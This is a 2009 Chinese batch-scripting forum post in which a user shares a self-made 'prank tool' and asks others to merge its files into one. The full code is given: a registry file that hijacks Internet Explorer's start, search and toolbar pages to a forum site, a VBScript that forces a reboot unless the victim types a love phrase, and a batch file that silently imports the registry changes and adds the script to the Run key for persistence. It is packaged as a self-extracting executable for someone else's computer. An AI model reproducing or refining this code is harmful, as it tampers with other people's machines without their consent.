批处理之家 - Powered by Discuz! Board

标题: [其他] 求助将vbs、reg注册表文件和批处理整合成一个文件 [打印本页]

作者: shopwz 时间: 2009-2-18 15:05 标题: 求助将vbs、reg注册表文件和批处理整合成一个文件

本帖最后由 pcl_test 于 2016-9-3 14:14 编辑

发一个超级好玩的整人工具。自己做的。哈哈
这个工具很好玩滴。还能挟持对方的IE首页。

这几个就是核心文件啦。
577i.ico 这个是图标。就是

577i.reg 是注册表文件内容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\{6096E38F-5AC1-4391-8EC4-75DFA92FB32F}]
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Default Visible"="Yes"
"ButtonText"="温州数码俱乐部"
"Exec"="http://bbs.577i.com"
"HotIcon"="%windir%\\system32\\577i.ICO"
"Icon"="%windir%\\system32\\577i.ICO"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoUpdateCheck"=dword:00000001
"NoJITSetup"=dword:00000001
"Disable Script Debugger"="yes"
"Show_ChannelBand"="No"
"Anchor Underline"="yes"
"Cache_Update_Frequency"="Once_Per_Session"
"Display Inline Images"="yes"
"Do404Search"=hex:01,00,00,00
"Save_Session_History_On_Exit"="no"
"Show_FullURL"="no"
"Show_StatusBar"="yes"
"Show_ToolBar"="yes"
"Show_URLinStatusBar"="yes"
"Show_URLToolBar"="yes"
"Start Page"="http://bbs.577i.com/"
"Use_DlgBox_Colors"="yes"
"Search Page"="http://bbs.577i.com/"
"FullScreen"="no"
"Enable AutoImageResize"="yes"
"CNSMenu"=dword:de809d5c
"CNSHint"=dword:00000001
"CNSReset"=dword:de809d5c
"CNSEnable"=dword:00000001
"CNSList"=dword:00000001
"CNSAutoUpdate"=dword:00000001
"Use Search Asst"="no"
"Search Bar"="http://bbs.577i.com"
"Enable Browser Extensions"="yes"
"NotifyDownloadComplete"="yes"
"Use FormSuggest"="yes"
"ShowedCheckBrowser"="Yes"
"Check_Associations"="Yes"
"Error Dlg Displayed On Every Error"="no"
"AddToFavoritesExpanded"=dword:00000001
1.vbs其实就是主程序了内容如下

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说永远爱羽熙，不说就2分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "永远爱羽熙")
a = inputbox ("说永远爱羽熙,就不关机，快撒，说 ""永远爱羽熙""　","永远爱羽熙","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，我也爱你"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈祝你天天快乐~"
577i.bat就是一个批处理文件内容如下。起到添加开机启动项的作用

@echo off
regedit /s 577i.reg
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v lin /t REG_SZ /d %windir%\\system32\\1.vbs /f
exit
把几个文件压缩成自解压格式的文件后就出现整人.exe啦。哈哈。超级好玩滴。
其实可以整合成3个文件。可以把卡机启动项整合到 577i.reg里面的。或许还能再整合到1.vbs中。本人技术有限。哈哈

谁能帮我整合下么‘、j就是更加简单点。谢谢

作者: Batcher 时间: 2009-2-18 15:28

本版规则
1、求代码、寻求代码解释、探讨代码得失的帖子均可发在本版块，其余话题禁止在本版讨论；
2、求助时，务必在顶楼一次性把问题交代清楚；若文字难以表述，请配图说明，或是上传附件；但是，一切操作应从节约论坛资源的角度出发，能文字说明清楚的就无需再发图片，小图能说明问题的尽量不截全图，在不影响效果的前提下尽量压缩图片及附件；
3、所发代码若不止一行，请务必用code标记把代码部分首尾括起来，以便他人复制；

Q: 如何用code把代码扩起来？
A: http://bbs.bathome.net/thread-404-1-1.html

欢迎光临批处理之家 (http://bathome.net./)